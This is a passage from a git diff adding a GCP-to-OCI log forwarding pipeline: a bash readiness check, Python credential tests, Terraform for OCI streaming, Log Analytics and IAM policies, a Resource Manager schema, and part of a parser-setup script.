--format='value(ackDeadlineSeconds,messageRetentionDuration)' 2>/dev/null || true) + check_pass "Pub/Sub Subscription: $SUBSCRIPTION" + else + check_fail "Pub/Sub Subscription: $SUBSCRIPTION (not found)" + fi + + # Sink + if gcloud logging sinks describe "$SINK_NAME" &>/dev/null; then + SINK_FILTER=$(gcloud logging sinks describe "$SINK_NAME" --format='value(filter)' 2>/dev/null || true) + check_pass "Log Router Sink: $SINK_NAME (filter: $SINK_FILTER)" + else + check_fail "Log Router Sink: $SINK_NAME (not found)" + fi + + # Service Account + SA_EMAIL="${SA_NAME}@${PROJECT}.iam.gserviceaccount.com" + if gcloud iam service-accounts describe "$SA_EMAIL" &>/dev/null; then + check_pass "Service Account: $SA_EMAIL" + else + check_fail "Service Account: $SA_EMAIL (not found)" + fi + + # Local key file + KEY_FILE="$PROJECT_DIR/gcp-sa-key.json" + if [ -f "$KEY_FILE" ]; then + check_pass "SA Key File: $KEY_FILE" + else + check_warn "SA Key File: $KEY_FILE (not found — using ADC?)" + fi +fi + +# ── 2. OCI Credentials ────────────────────────────────────── +separator "OCI Credentials" + +OCI_VARS=("OCI_USER_OCID" "OCI_FINGERPRINT" "OCI_TENANCY_OCID" "OCI_REGION" "OCI_COMPARTMENT_OCID") +for var in "${OCI_VARS[@]}"; do + val="${!var:-}" + if [ -n "$val" ]; then + check_pass "$var: $(mask "$val")" + else + check_fail "$var: not set" + fi +done + +# Key file or content +if [ -n "${OCI_KEY_FILE:-}" ]; then + EXPANDED_KEY="${OCI_KEY_FILE/#\~/$HOME}" + if [ -f "$EXPANDED_KEY" ]; then + check_pass "OCI_KEY_FILE: $OCI_KEY_FILE (exists)" + else + check_fail "OCI_KEY_FILE: $OCI_KEY_FILE (file not found)" + fi +elif [ -n "${OCI_KEY_CONTENT:-}" ]; then + check_pass "OCI_KEY_CONTENT: set (inline PEM)" +else + check_fail "OCI_KEY_FILE / OCI_KEY_CONTENT: neither set" +fi + +# ── 3. OCI Resources ───────────────────────────────────────── +separator "OCI Resources" + +COMPARTMENT="${OCI_COMPARTMENT_OCID:-}" +REGION="${OCI_REGION:-}" +STREAM_POOL_NAME="${OCI_STREAM_POOL_NAME:-MultiCloud_Log_Pool}" +STREAM_NAME="${OCI_STREAM_NAME:-gcp-inbound-stream}" +LOG_GROUP_NAME="${OCI_LOG_GROUP_NAME:-GCPLogs}" +SCH_NAME="${OCI_SCH_NAME:-GCP-Stream-to-LogAnalytics}" +NAMESPACE="${OCI_LOG_ANALYTICS_NAMESPACE:-}" + +if [ -z "$COMPARTMENT" ] || [ -z "$REGION" ]; then + check_fail "OCI_COMPARTMENT_OCID or OCI_REGION not set" + echo " Skipping OCI resource checks." +else + # Auto-detect namespace + if [ -z "$NAMESPACE" ]; then + NAMESPACE=$(oci log-analytics namespace list \ + --compartment-id "$COMPARTMENT" \ + --query 'data.items[0]."namespace-name"' --raw-output 2>/dev/null || true) + if [ -z "$NAMESPACE" ] || [ "$NAMESPACE" = "null" ]; then + check_fail "Log Analytics namespace: not detected (is Log Analytics onboarded?)" + NAMESPACE="" + else + check_pass "Log Analytics namespace: $NAMESPACE (auto-detected)" + fi + else + check_pass "Log Analytics namespace: $NAMESPACE" + fi + + # Stream Pool + POOL_ID=$(oci streaming admin stream-pool list \ + --compartment-id "$COMPARTMENT" \ + --name "$STREAM_POOL_NAME" \ + --lifecycle-state ACTIVE \ + --query 'data[0].id' --raw-output 2>/dev/null || true) + if [ -n "$POOL_ID" ] && [ "$POOL_ID" != "null" ]; then + check_pass "Stream Pool: $STREAM_POOL_NAME (ACTIVE)" + else + check_fail "Stream Pool: $STREAM_POOL_NAME (not found)" + fi + + # Stream + if [ -n "${OCI_STREAM_OCID:-}" ]; then + STREAM_STATE=$(oci streaming admin stream get \ + --stream-id "$OCI_STREAM_OCID" \ + --query 'data."lifecycle-state"' --raw-output 2>/dev/null || true) + if [ -n "$STREAM_STATE" ] && [ "$STREAM_STATE" != "null" ]; then + if [ "$STREAM_STATE" = "ACTIVE" ]; then + check_pass "Stream: $(mask "$OCI_STREAM_OCID" 20) ($STREAM_STATE)" + else + check_warn "Stream: $(mask "$OCI_STREAM_OCID" 20) ($STREAM_STATE)" + fi + else + check_fail "Stream: OCI_STREAM_OCID set but stream not found" + fi + else + STREAM_ID=$(oci streaming admin stream list \ + --compartment-id "$COMPARTMENT" \ + --name "$STREAM_NAME" \ + --lifecycle-state ACTIVE \ + --query 'data[0].id' --raw-output 2>/dev/null || true) + if [ -n "$STREAM_ID" ] && [ "$STREAM_ID" != "null" ]; then + check_pass "Stream: $STREAM_NAME (ACTIVE)" + else + check_fail "Stream: $STREAM_NAME (not found)" + fi + fi + + # Log Analytics Log Group + if [ -n "$NAMESPACE" ]; then + LG_ID=$(oci log-analytics log-group list \ + --compartment-id "$COMPARTMENT" \ + --namespace-name "$NAMESPACE" \ + --query "data.items[?\"display-name\"=='$LOG_GROUP_NAME'].id | [0]" \ + --raw-output 2>/dev/null || true) + if [ -n "$LG_ID" ] && [ "$LG_ID" != "null" ] && [ "$LG_ID" != "None" ]; then + check_pass "Log Analytics Log Group: $LOG_GROUP_NAME" + else + check_fail "Log Analytics Log Group: $LOG_GROUP_NAME (not found)" + fi + + # Parser + PARSER_EXISTS=$(oci log-analytics parser get-parser \ + --namespace-name "$NAMESPACE" \ + --parser-name "gcpCloudLoggingJsonParser" \ + --query 'data.name' --raw-output 2>/dev/null || true) + if [ -n "$PARSER_EXISTS" ] && [ "$PARSER_EXISTS" != "null" ] && [ "$PARSER_EXISTS" != "None" ]; then + FIELD_COUNT=$(oci log-analytics parser get-parser \ + --namespace-name "$NAMESPACE" \ + --parser-name "gcpCloudLoggingJsonParser" \ + --query 'length(data."field-maps")' --raw-output 2>/dev/null || echo "?") + check_pass "Log Analytics Parser: gcpCloudLoggingJsonParser ($FIELD_COUNT field mappings)" + else + check_fail "Log Analytics Parser: gcpCloudLoggingJsonParser (not found)" + fi + + # Source + SOURCE_EXISTS=$(oci log-analytics source list-sources \ + --namespace-name "$NAMESPACE" \ + --compartment-id "$COMPARTMENT" \ + --name "GCP Cloud Logging Logs" \ + --is-system ALL \ + --query 'data.items[0].name' --raw-output 2>/dev/null || true) + if [ -n "$SOURCE_EXISTS" ] && [ "$SOURCE_EXISTS" != "null" ] && [ "$SOURCE_EXISTS" != "None" ]; then + check_pass "Log Analytics Source: GCP Cloud Logging Logs" + else + check_fail "Log Analytics Source: GCP Cloud Logging Logs (not found)" + fi + else + check_skip "Log Analytics resources (no namespace)" + fi + + # Connector Hub + SCH_ID=$(oci sch service-connector list \ + --compartment-id "$COMPARTMENT" \ + --display-name "$SCH_NAME" \ + --lifecycle-state ACTIVE \ + --query 'data.items[0].id' --raw-output 2>/dev/null || true) + if [ -n "$SCH_ID" ] && [ "$SCH_ID" != "null" ] && [ "$SCH_ID" != "None" ]; then + check_pass "Connector Hub: $SCH_NAME (ACTIVE)" + else + # Check if it exists but in non-ACTIVE state + SCH_ANY=$(oci sch service-connector list \ + --compartment-id "$COMPARTMENT" \ + --display-name "$SCH_NAME" \ + --query 'data.items[0]."lifecycle-state"' --raw-output 2>/dev/null || true) + if [ -n "$SCH_ANY" ] && [ "$SCH_ANY" != "null" ] && [ "$SCH_ANY" != "None" ]; then + check_warn "Connector Hub: $SCH_NAME ($SCH_ANY)" + else + check_fail "Connector Hub: $SCH_NAME (not found)" + fi + fi +fi + +# ── 4. Bridge Configuration ───────────────────────────────── +separator "Bridge Configuration" + +BRIDGE_VARS=("OCI_MESSAGE_ENDPOINT" "OCI_STREAM_OCID") +for var in "${BRIDGE_VARS[@]}"; do + val="${!var:-}" + if [ -n "$val" ]; then + check_pass "$var: $(mask "$val" 15)" + else + check_fail "$var: not set (needed for bridge runtime)" + fi +done + +for var in MAX_BATCH_SIZE MAX_BATCH_BYTES INACTIVITY_TIMEOUT; do + val="${!var:-}" + if [ -n "$val" ]; then + check_pass "$var: $val" + else + check_skip "$var: using default" + fi +done + +# ── Summary ────────────────────────────────────────────────── +echo "" +echo "============================================================" +echo " Status Summary" +echo "============================================================" +echo " Passed: $PASS" +echo " Warnings: $WARN" +echo " Failed: $FAIL" +echo "" + +if [ "$FAIL" -eq 0 ]; then + echo " All checks passed. Pipeline is ready." + echo "" + echo " Run the bridge:" + echo " python -m bridge.main --drain # test mode" + echo " python -m bridge.main # continuous" +elif [ "$FAIL" -le 3 ]; then + echo " Some checks failed. Review the items above." + echo "" + echo " Setup commands:" + echo " ./scripts/setup_gcp.sh # provision GCP resources" + echo " ./scripts/setup_oci.sh # provision OCI resources" +else + echo " Multiple checks failed. Run the setup scripts first." + echo "" + echo " Quick start:" + echo " cp .env.example .env.local # configure credentials" + echo " ./scripts/setup_gcp.sh # provision GCP" + echo " ./scripts/setup_oci.sh # provision OCI" +fi + +echo "" +exit "$FAIL" diff --git a/observability-and-management/assets/gcplogs2oci/scripts/test_gcp_credentials.py b/observability-and-management/assets/gcplogs2oci/scripts/test_gcp_credentials.py new file mode 100644 index 000000000..50b4c7e60 --- /dev/null +++ b/observability-and-management/assets/gcplogs2oci/scripts/test_gcp_credentials.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python3 +""" +Validate GCP credentials and Pub/Sub access without running the full bridge. + +Usage: + python scripts/test_gcp_credentials.py +""" + +import os +import sys + +# Allow running from project root +sys.path.insert(0, os.path.join(os.path.dirname(__file__), "..")) + +from bridge.config import load_env, mask + + +def test_gcp_credentials(): + print("=" * 72) + print(" GCP Credentials Test") + print("=" * 72) + print() + + env_file = load_env() + if env_file: + print(f" Loaded environment from: {env_file}") + else: + print(" No .env.local / .env found; using system environment") + + # ── Check required variables ────────────────────────────── + required = ["GCP_PROJECT_ID", "GCP_PUBSUB_SUBSCRIPTION"] + print("\n Environment Variables:") + all_ok = True + for var in required: + val = os.getenv(var) + if val: + print(f" OK {var}: {mask(val)}") + else: + print(f" MISSING {var}") + all_ok = False + + creds_path = os.getenv("GOOGLE_APPLICATION_CREDENTIALS") + if creds_path: + exists = os.path.isfile(creds_path) + print(f" {'OK' if exists else 'MISSING FILE'} GOOGLE_APPLICATION_CREDENTIALS: {creds_path}") + if not exists: + all_ok = False + else: + print(" INFO GOOGLE_APPLICATION_CREDENTIALS not set (will use ADC)") + + if not all_ok: + print("\n FAILED: Missing required GCP environment variables.") + return False + + # ── Test Pub/Sub client ─────────────────────────────────── + try: + from google.cloud import pubsub_v1 + + project_id = os.environ["GCP_PROJECT_ID"] + subscription_id = os.environ["GCP_PUBSUB_SUBSCRIPTION"] + sub_path = f"projects/{project_id}/subscriptions/{subscription_id}" + + print(f"\n Testing Pub/Sub subscriber client...") + subscriber = pubsub_v1.SubscriberClient() + sub = subscriber.get_subscription(request={"subscription": sub_path}) + print(f" OK Subscription found: {sub.name}") + print(f" OK Topic: {sub.topic}") + print(f" OK Ack deadline: {sub.ack_deadline_seconds}s") + subscriber.close() + + except Exception as e: + print(f" FAILED {e}") + return False + + # ── Optionally test the topic ───────────────────────────── + topic = os.getenv("GCP_PUBSUB_TOPIC") + if topic: + try: + publisher = pubsub_v1.PublisherClient() + topic_path = f"projects/{project_id}/topics/{topic}" + t = publisher.get_topic(request={"topic": topic_path}) + print(f" OK Topic exists: {t.name}") + except Exception as e: + print(f" WARN Could not verify topic: {e}") + + print("\n" + "=" * 72) + print(" GCP CREDENTIALS TEST PASSED") + print("=" * 72) + return True + + +if __name__ == "__main__": + success = test_gcp_credentials() + sys.exit(0 if success else 1) diff --git a/observability-and-management/assets/gcplogs2oci/scripts/test_oci_credentials.py b/observability-and-management/assets/gcplogs2oci/scripts/test_oci_credentials.py new file mode 100644 index 000000000..5f5d19f27 --- /dev/null +++ b/observability-and-management/assets/gcplogs2oci/scripts/test_oci_credentials.py @@ -0,0 +1,110 @@ +#!/usr/bin/env python3 +""" +Validate OCI credentials and Stream access without running the full bridge. + +Usage: + python scripts/test_oci_credentials.py +""" + +import os +import sys + +# Allow running from project root +sys.path.insert(0, os.path.join(os.path.dirname(__file__), "..")) + +from bridge.config import load_env, mask, oci_config, oci_message_endpoint, oci_stream_ocid + + +def test_oci_credentials(): + print("=" * 72) + print(" OCI Credentials Test") + print("=" * 72) + print() + + env_file = load_env() + if env_file: + print(f" Loaded environment from: {env_file}") + else: + print(" No .env.local / .env found; using system environment") + + # ── Check required variables ────────────────────────────── + required = [ + "OCI_USER_OCID", "OCI_FINGERPRINT", + "OCI_TENANCY_OCID", "OCI_REGION", + "OCI_MESSAGE_ENDPOINT", "OCI_STREAM_OCID", + ] + print("\n Environment Variables:") + all_ok = True + for var in required: + val = os.getenv(var) + if val: + print(f" OK {var}: {mask(val)}") + else: + print(f" MISSING {var}") + all_ok = False + + # Key: either file path or inline content + key_file = os.getenv("OCI_KEY_FILE") + key_content = os.getenv("OCI_KEY_CONTENT") + if key_file: + exists = os.path.isfile(os.path.expanduser(key_file)) + print(f" {'OK' if exists else 'MISSING FILE'} OCI_KEY_FILE: {key_file}") + if not exists: + all_ok = False + elif key_content: + print(f" OK OCI_KEY_CONTENT: {mask(key_content)}") + else: + print(f" MISSING OCI_KEY_FILE or OCI_KEY_CONTENT") + all_ok = False + + if not all_ok: + print("\n FAILED: Missing required OCI environment variables.") + return False + + # ── Build and validate OCI config ───────────────────────── + try: + import oci + + print("\n Building OCI configuration...") + cfg = oci_config() + oci.config.validate_config(cfg) + print(" OK OCI configuration valid") + + endpoint = oci_message_endpoint() + stream_ocid = oci_stream_ocid() + print(f" OK Endpoint: {mask(endpoint)}") + print(f" OK Stream OCID: {mask(stream_ocid)}") + + # ── Test authentication ─────────────────────────────── + print("\n Testing OCI authentication (StreamAdminClient.get_stream)...") + admin_client = oci.streaming.StreamAdminClient(cfg) + response = admin_client.get_stream(stream_ocid) + print(f" OK Authentication successful") + print(f" OK Stream name: {response.data.name}") + print(f" OK Stream state: {response.data.lifecycle_state}") + + except oci.exceptions.ServiceError as e: + if e.status == 404: + print(f" WARN Stream not found (auth OK, OCID may be wrong): {e.message}") + elif e.status == 401: + print(f" FAILED Authentication failed: {e.message}") + return False + elif e.status == 403: + print(f" FAILED Authorization failed: {e.message}") + return False + else: + print(f" FAILED OCI API error (HTTP {e.status}): {e.message}") + return False + except Exception as e: + print(f" FAILED {e}") + return False + + print("\n" + "=" * 72) + print(" OCI CREDENTIALS TEST PASSED") + print("=" * 72) + return True + + +if __name__ == "__main__": + success = test_oci_credentials() + sys.exit(0 if success else 1) diff --git a/observability-and-management/assets/gcplogs2oci/stack/iam.tf b/observability-and-management/assets/gcplogs2oci/stack/iam.tf new file mode 100644 index 000000000..9bd43f3ff --- /dev/null +++ b/observability-and-management/assets/gcplogs2oci/stack/iam.tf @@ -0,0 +1,35 @@ +# ───────────────────────────────────────────────────────────── +# iam.tf – IAM policies for Connector Hub +# +# Grants SCH permission to read from OCI Streaming and write +# to Log Analytics in the target compartment. +# +# Uses OCID-based compartment references (compartment id syntax) +# to avoid issues with compartment name resolution in nested +# hierarchies or names with special characters. +# ───────────────────────────────────────────────────────────── + +resource "oci_identity_policy" "sch_streaming" { + count = var.create_iam_policies ? 1 : 0 + + compartment_id = var.tenancy_ocid + name = "gcplogs2oci-sch-streaming" + description = "Allow Connector Hub to read from OCI Streaming for the gcplogs2oci pipeline" + + statements = [ + "Allow any-user to use stream-pull in compartment id '${var.compartment_ocid}' where all {request.principal.type='serviceconnector'}", + "Allow any-user to use stream-consume in compartment id '${var.compartment_ocid}' where all {request.principal.type='serviceconnector'}", + ] +} + +resource "oci_identity_policy" "sch_log_analytics" { + count = var.create_iam_policies ? 1 : 0 + + compartment_id = var.tenancy_ocid + name = "gcplogs2oci-sch-log-analytics" + description = "Allow Connector Hub to write to Log Analytics for the gcplogs2oci pipeline" + + statements = [ + "Allow any-user to use log-analytics-log-group in compartment id '${var.compartment_ocid}' where all {request.principal.type='serviceconnector'}", + ] +} diff --git a/observability-and-management/assets/gcplogs2oci/stack/main.tf b/observability-and-management/assets/gcplogs2oci/stack/main.tf new file mode 100644 index 000000000..1217aa98f --- /dev/null +++ b/observability-and-management/assets/gcplogs2oci/stack/main.tf @@ -0,0 +1,106 @@ +# ───────────────────────────────────────────────────────────── +# main.tf – OCI resources for the gcplogs2oci pipeline +# +# Creates: Stream Pool, Stream, Log Analytics Log Group, +# Connector Hub (Stream → Log Analytics). +# +# Log Analytics custom content (fields, parser, source) is NOT +# supported by the Terraform provider. After applying this +# stack, run: +# python3 stack/scripts/setup_log_analytics.py +# or the project-level scripts/setup_oci.sh (steps 5-6). +# ───────────────────────────────────────────────────────────── + +terraform { + required_version = ">= 1.5.0" + required_providers { + oci = { + source = "oracle/oci" + version = "~> 7.0" + } + } +} + +# When run inside OCI Resource Manager, auth is automatic +# (resource principal). Locally, the provider reads +# ~/.oci/config or TF_VAR / OCI_* environment variables. +provider "oci" { + region = var.region +} + +# ── Data Sources ────────────────────────────────────────────── + +data "oci_log_analytics_namespaces" "this" { + compartment_id = var.tenancy_ocid +} + +locals { + la_namespace = ( + var.log_analytics_namespace != "" + ? var.log_analytics_namespace + : try( + data.oci_log_analytics_namespaces.this.namespace_collection[0].items[0].namespace, + "" + ) + ) +} + +# ── 1. Stream Pool ──────────────────────────────────────────── + +resource "oci_streaming_stream_pool" "gcp_pool" { + compartment_id = var.compartment_ocid + name = var.stream_pool_name + + kafka_settings { + auto_create_topics_enable = false + num_partitions = var.stream_partitions + log_retention_hours = var.stream_retention_in_hours + } +} + +# ── 2. Stream ───────────────────────────────────────────────── + +resource "oci_streaming_stream" "gcp_stream" { + name = var.stream_name + partitions = var.stream_partitions + stream_pool_id = oci_streaming_stream_pool.gcp_pool.id + retention_in_hours = var.stream_retention_in_hours +} + +# ── 3. Log Analytics Log Group ──────────────────────────────── + +resource "oci_log_analytics_log_analytics_log_group" "gcp_logs" { + compartment_id = var.compartment_ocid + namespace = local.la_namespace + display_name = var.log_group_name + description = var.log_group_description + + lifecycle { + precondition { + condition = local.la_namespace != "" + error_message = "Log Analytics namespace could not be detected. Ensure Log Analytics is onboarded, or set the log_analytics_namespace variable." + } + } +} + +# ── 4. Connector Hub ───────────────────────────────────────── + +resource "oci_sch_service_connector" "gcp_bridge" { + compartment_id = var.compartment_ocid + display_name = var.sch_name + description = var.sch_description + + source { + kind = "streaming" + cursor { + kind = "TRIM_HORIZON" + } + stream_id = oci_streaming_stream.gcp_stream.id + } + + target { + kind = "loggingAnalytics" + log_group_id = oci_log_analytics_log_analytics_log_group.gcp_logs.id + log_source_identifier = "GCP Cloud Logging Logs" + } +} diff --git a/observability-and-management/assets/gcplogs2oci/stack/outputs.tf b/observability-and-management/assets/gcplogs2oci/stack/outputs.tf new file mode 100644 index 000000000..acae55bd5 --- /dev/null +++ b/observability-and-management/assets/gcplogs2oci/stack/outputs.tf @@ -0,0 +1,48 @@ +# ───────────────────────────────────────────────────────────── +# outputs.tf – Values needed by the bridge and for validation +# ───────────────────────────────────────────────────────────── + +output "stream_pool_id" { + description = "OCID of the Stream Pool" + value = oci_streaming_stream_pool.gcp_pool.id +} + +output "stream_id" { + description = "OCID of the Stream (use as OCI_STREAM_OCID)" + value = oci_streaming_stream.gcp_stream.id +} + +output "stream_messaging_endpoint" { + description = "Stream messaging endpoint URL (use as OCI_MESSAGE_ENDPOINT)" + value = oci_streaming_stream.gcp_stream.messages_endpoint +} + +output "kafka_bootstrap_servers" { + description = "Kafka bootstrap servers for the Fluentd bridge path" + value = oci_streaming_stream_pool.gcp_pool.kafka_settings[0].bootstrap_servers +} + +output "log_group_id" { + description = "OCID of the Log Analytics log group" + value = oci_log_analytics_log_analytics_log_group.gcp_logs.id +} + +output "log_analytics_namespace" { + description = "Log Analytics namespace" + value = local.la_namespace +} + +output "service_connector_id" { + description = "OCID of the Connector Hub" + value = oci_sch_service_connector.gcp_bridge.id +} + +output "env_local_snippet" { + description = "Ready-to-paste values for .env.local" + value = <<-EOT + OCI_STREAM_OCID=${oci_streaming_stream.gcp_stream.id} + OCI_STREAM_POOL_ID=${oci_streaming_stream_pool.gcp_pool.id} + OCI_MESSAGE_ENDPOINT=${oci_streaming_stream.gcp_stream.messages_endpoint} + OCI_LOG_ANALYTICS_NAMESPACE=${local.la_namespace} + EOT +} diff --git a/observability-and-management/assets/gcplogs2oci/stack/schema.yaml b/observability-and-management/assets/gcplogs2oci/stack/schema.yaml new file mode 100644 index 000000000..7402c957a --- /dev/null +++ b/observability-and-management/assets/gcplogs2oci/stack/schema.yaml @@ -0,0 +1,143 @@ +title: "GCP Cloud Logging to OCI Log Analytics Pipeline" +description: >- + Deploy the OCI infrastructure for the gcplogs2oci bridge: + Streaming (Kafka-compatible), Log Analytics log group, + Service Connector Hub, and IAM policies. + + After applying, run scripts/setup_log_analytics.py to create + the custom GCP parser, 40 fields, and Log Analytics source. +schemaVersion: 1.1.0 +version: "1.0.0" +locale: "en" + +variableGroups: + - title: "General Configuration" + visible: true + variables: + - compartment_ocid + - region + - tenancy_ocid + + - title: "OCI Streaming" + visible: true + variables: + - stream_pool_name + - stream_name + - stream_partitions + - stream_retention_in_hours + + - title: "Log Analytics" + visible: true + variables: + - log_group_name + - log_group_description + - log_analytics_namespace + + - title: "Service Connector Hub" + visible: true + variables: + - sch_name + - sch_description + + - title: "IAM Policies" + visible: true + variables: + - create_iam_policies + +variables: + compartment_ocid: + type: oci:identity:compartment:id + title: "Target Compartment" + description: "Compartment for Streaming, Log Analytics, and SCH resources" + required: true + + region: + type: oci:identity:region:name + title: "Region" + description: "OCI region for all resources" + required: true + + tenancy_ocid: + type: string + title: "Tenancy OCID" + description: "Tenancy OCID (auto-populated in Resource Manager)" + required: true + visible: false + + stream_pool_name: + type: string + title: "Stream Pool Name" + default: "MultiCloud_Log_Pool" + required: true + + stream_name: + type: string + title: "Stream Name" + default: "gcp-inbound-stream" + required: true + + stream_partitions: + type: integer + title: "Stream Partitions" + default: 1 + minimum: 1 + maximum: 5 + required: true + + stream_retention_in_hours: + type: integer + title: "Retention (hours)" + description: "Message retention period (24–168 hours)" + default: 24 + minimum: 24 + maximum: 168 + required: true + + log_group_name: + type: string + title: "Log Group Name" + default: "GCPLogs" + required: true + + log_group_description: + type: string + title: "Log Group Description" + default: "GCP Cloud Logging imports via gcplogs2oci bridge" + + log_analytics_namespace: + type: string + title: "Log Analytics Namespace" + description: "Leave empty for auto-detection" + default: "" + + sch_name: + type: string + title: "Service Connector Hub Name" + default: "GCP-Stream-to-LogAnalytics" + required: true + + sch_description: + type: string + title: "Service Connector Hub Description" + default: "Forwards GCP logs from OCI Streaming to Log Analytics using GCP Cloud Logging parser" + + create_iam_policies: + type: boolean + title: "Create IAM Policies" + description: "Create policies for SCH to read streams and write to Log Analytics. Disable if they already exist." + default: true + +outputGroups: + - title: "Bridge Configuration" + outputs: + - stream_id + - stream_messaging_endpoint + - kafka_bootstrap_servers + - log_analytics_namespace + - env_local_snippet + + - title: "Resource OCIDs" + outputs: + - stream_pool_id + - log_group_id + - service_connector_id diff --git a/observability-and-management/assets/gcplogs2oci/stack/scripts/setup_log_analytics.py b/observability-and-management/assets/gcplogs2oci/stack/scripts/setup_log_analytics.py new file mode 100644 index 000000000..b6151ff0b --- /dev/null +++ b/observability-and-management/assets/gcplogs2oci/stack/scripts/setup_log_analytics.py @@ -0,0 +1,448 @@ +#!/usr/bin/env python3 +# ───────────────────────────────────────────────────────────── +# setup_log_analytics.py +# +# Create OCI Log Analytics custom fields (40), JSON parser +# (44 field mappings), and source for GCP Cloud Logging. +# +# This script handles the Log Analytics resources that have no +# Terraform provider support. Run it after `terraform apply` +# (or `setup_oci.sh` steps 1–4) to complete the pipeline. +# +# Auth (tried in order): +# 1. OCI Resource Principal (OCI_RESOURCE_PRINCIPAL_VERSION set) +# 2. OCI config file (~/.oci/config) +# 3. Environment variables (OCI_USER_OCID, OCI_KEY_FILE, etc.) +# +# Required environment variables: +# LA_NAMESPACE – Log Analytics namespace +# OCI_COMPARTMENT_ID – Compartment OCID (for source creation) +# +# Optional (only for env-var auth): +# OCI_REGION, OCI_USER_OCID, OCI_FINGERPRINT, +# OCI_TENANCY_OCID, OCI_KEY_FILE or OCI_KEY_CONTENT +# +# Usage: +# export LA_NAMESPACE="mynamespace" +# export OCI_COMPARTMENT_ID="ocid1.compartment.oc1..xxx" +# python3 stack/scripts/setup_log_analytics.py +# ───────────────────────────────────────────────────────────── +import json +import os +import sys + +import oci +from oci.log_analytics.models import ( + LogAnalyticsField, + LogAnalyticsParserField, + UpsertLogAnalyticsFieldDetails, + UpsertLogAnalyticsParserDetails, +) + + +# ── Authentication ──────────────────────────────────────────── + +def get_client(): + """Build LogAnalyticsClient with auto-detected auth.""" + + # 1. Resource Principal (OCI Resource Manager / Container Instances) + if os.environ.get("OCI_RESOURCE_PRINCIPAL_VERSION"): + signer = oci.auth.signers.get_resource_principals_signer() + return oci.log_analytics.LogAnalyticsClient({}, signer=signer) + + # 2. OCI config file (~/.oci/config) + try: + config = oci.config.from_file() + oci.config.validate_config(config) + return oci.log_analytics.LogAnalyticsClient(config) + except Exception: + pass + + # 3. Environment variables + key_file = os.environ.get("OCI_KEY_FILE") + key_content = os.environ.get("OCI_KEY_CONTENT") + if key_file: + with open(os.path.expanduser(key_file)) as f: + key_pem = f.read() + elif key_content: + key_pem = key_content + else: + print("ERROR: No OCI credentials found.") + print(" Set OCI config file (~/.oci/config), OCI_KEY_FILE, or") + print(" run inside OCI Resource Manager.") + sys.exit(1) + + config = { + "user": os.environ["OCI_USER_OCID"], + "key_content": key_pem, + "pass_phrase": os.environ.get("OCI_KEY_PASSPHRASE", ""), + "fingerprint": os.environ["OCI_FINGERPRINT"], + "tenancy": os.environ["OCI_TENANCY_OCID"], + "region": os.environ.get("OCI_REGION", ""), + } + return oci.log_analytics.LogAnalyticsClient(config) + + +# ── Field Definitions (40 custom fields) ───────────────────── + +FIELD_DISPLAY_NAMES = [ + # Multicloud + "Cloud Provider", + # Core GCP LogEntry + "GCP Insert ID", + "GCP Log Name", + "GCP Resource Type", + "GCP Project ID", + "GCP Service Name", + "GCP Method Name", + "GCP Principal Email", + "GCP Zone", + "GCP Instance ID", + "GCP Trace ID", + "GCP Span ID", + "GCP Text Payload", + # HTTP request (Cloud Run, Load Balancer) + "GCP HTTP Method", + "GCP HTTP URL", + "GCP HTTP Status", + "GCP HTTP Latency", + "GCP HTTP Protocol", + "GCP HTTP Remote IP", + "GCP HTTP Request Size", + "GCP HTTP Response Size", + "GCP HTTP Server IP", + "GCP HTTP User Agent", + # Source location & operation + "GCP Operation ID", + "GCP Source File", + "GCP Source Line", + "GCP Source Function", + # Cloud Run resource labels + "GCP Configuration Name", + "GCP Location", + "GCP Cloud Run Service", + "GCP Revision Name", + # Audit log extended + "GCP Resource Name", + "GCP Caller IP", + "GCP Caller User Agent", + # Metadata + "GCP Receive Timestamp", + # Resource labels (multi-type) + "GCP Subscription ID", + "GCP Topic ID", + "GCP Sink Name", + "GCP Sink Destination", + # Labels + "GCP Label Instance ID", +] + + +# ── Parser Field Mappings (44 total) ───────────────────────── +# (display_name_or_builtin, json_path, sequence) + +FIELD_MAPPINGS = [ + # Built-in LA fields + ("msg", "$.jsonPayload.message", 1), + ("sevlvl", "$.severity", 2), + ("time", "$.timestamp", 3), + ("method", "$.protoPayload.methodName", 4), + # Multicloud + ("Cloud Provider", "$.cloudProvider", 5), + # Core GCP LogEntry + ("GCP Insert ID", "$.insertId", 6), + ("GCP Log Name", "$.logName", 7), + ("GCP Resource Type", "$.resource.type", 8), + ("GCP Project ID", "$.resource.labels.project_id", 9), + ("GCP Service Name", "$.protoPayload.serviceName", 10), + ("GCP Method Name", "$.protoPayload.methodName", 11), + ("GCP Principal Email", "$.protoPayload.authenticationInfo.principalEmail", 12), + ("GCP Zone", "$.resource.labels.zone", 13), + ("GCP Instance ID", "$.resource.labels.instance_id", 14), + ("GCP Trace ID", "$.trace", 15), + ("GCP Span ID", "$.spanId", 16), + ("GCP Text Payload", "$.textPayload", 17), + # HTTP request (full) + ("GCP HTTP Method", "$.httpRequest.requestMethod", 18), + ("GCP HTTP URL", "$.httpRequest.requestUrl", 19), + ("GCP HTTP Status", "$.httpRequest.status", 20), + ("GCP HTTP Latency", "$.httpRequest.latency", 21), + ("GCP HTTP Protocol", "$.httpRequest.protocol", 22), + ("GCP HTTP Remote IP", "$.httpRequest.remoteIp", 23), + ("GCP HTTP Request Size", "$.httpRequest.requestSize", 24), + ("GCP HTTP Response Size", "$.httpRequest.responseSize", 25), + ("GCP HTTP Server IP", "$.httpRequest.serverIp", 26), + ("GCP HTTP User Agent", "$.httpRequest.userAgent", 27), + # Source location & operation + ("GCP Operation ID", "$.operation.id", 28), + ("GCP Source File", "$.sourceLocation.file", 29), + ("GCP Source Line", "$.sourceLocation.line", 30), + ("GCP Source Function", "$.sourceLocation.function", 31), + # Cloud Run resource labels + ("GCP Configuration Name", "$.resource.labels.configuration_name", 32), + ("GCP Location", "$.resource.labels.location", 33), + ("GCP Cloud Run Service", "$.resource.labels.service_name", 34), + ("GCP Revision Name", "$.resource.labels.revision_name", 35), + # Audit log extended + ("GCP Resource Name", "$.protoPayload.resourceName", 36), + ("GCP Caller IP", "$.protoPayload.requestMetadata.callerIp", 37), + ("GCP Caller User Agent", "$.protoPayload.requestMetadata.callerSuppliedUserAgent", 38), + # Metadata + ("GCP Receive Timestamp", "$.receiveTimestamp", 39), + # Resource labels (multi-type) + ("GCP Subscription ID", "$.resource.labels.subscription_id", 40), + ("GCP Topic ID", "$.resource.labels.topic_id", 41), + ("GCP Sink Name", "$.resource.labels.name", 42), + ("GCP Sink Destination", "$.resource.labels.destination", 43), + # Labels + ("GCP Label Instance ID", "$.labels.instanceId", 44), +] + + +# ── Example Log 